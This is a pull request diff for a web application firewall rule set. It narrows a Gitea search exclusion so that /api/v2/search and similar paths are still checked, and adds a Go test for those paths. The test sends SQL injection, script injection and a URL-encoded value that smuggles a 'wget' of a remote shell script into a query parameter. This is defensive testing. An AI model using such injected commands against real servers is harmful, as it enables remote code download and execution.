Core Rule Set: gitea's repository search exclusion skips /api/v2/search (closes #266) #269
No files matched your search
@@ -674,6 +674,25 @@ func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// gitea has no owner named api, so these are not a repository's search,
|
||||||
|
// issues or pull requests. /api/v2/search is Mastodon's search.
|
||||||
|
for _, path := range []string{
|
||||||
|
"/api/v2/search",
|
||||||
|
"/api/v2/issues",
|
||||||
|
"/api/v2/pulls",
|
||||||
|
} {
|
||||||
|
for _, attack := range []string{
|
||||||
|
sqlInjection,
|
||||||
|
scriptInjection,
|
||||||
|
"%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh",
|
||||||
|
} {
|
||||||
|
target := path + "?q=" + attack
|
||||||
|
if got := inspect(t, crs, get(target)); got.Score < threshold {
|
||||||
|
t.Errorf("%s let through: %+v", target, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// WordPress's paths: signing in, posting a comment, admin-ajax.php, and the
|
// WordPress's paths: signing in, posting a comment, admin-ajax.php, and the
|
||||||
|
|||||||
@@ -35,13 +35,18 @@
|
|||||||
# 944100: java.lang.Runtime
|
# 944100: java.lang.Runtime
|
||||||
# 944110: java.lang.Runtime
|
# 944110: java.lang.Runtime
|
||||||
# 944130: java.lang.Runtime
|
# 944130: java.lang.Runtime
|
||||||
|
# gitea has no owner named api. A repository's search, issues, pull requests and
|
||||||
|
# commit search with that owner get none of this. /api/v2/search, for example,
|
||||||
|
# is Mastodon's search.
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\
|
SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\
|
||||||
[^/]+/-/code|\
|
[^/]+/-/code|\
|
||||||
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\
|
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\
|
||||||
commits/(?:branch|tag|commit)/.+/search)|\
|
commits/(?:branch|tag|commit)/.+/search)|\
|
||||||
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))$" \
|
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))$" \
|
||||||
"id:900600,phase:1,pass,nolog,\
|
"id:900600,phase:1,pass,nolog,chain"
|
||||||
ctl:ruleRemoveTargetById=930110;ARGS:q,\
|
SecRule REQUEST_FILENAME "!@rx ^/api/[^/]+/(?:search|issues(?:/search)?|\
|
||||||
|
pulls|commits/(?:branch|tag|commit)/.+/search)$" \
|
||||||
|
"ctl:ruleRemoveTargetById=930110;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=931100;ARGS:q,\
|
ctl:ruleRemoveTargetById=931100;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
||||||
|
|||||||
Reference in new issue
Block a user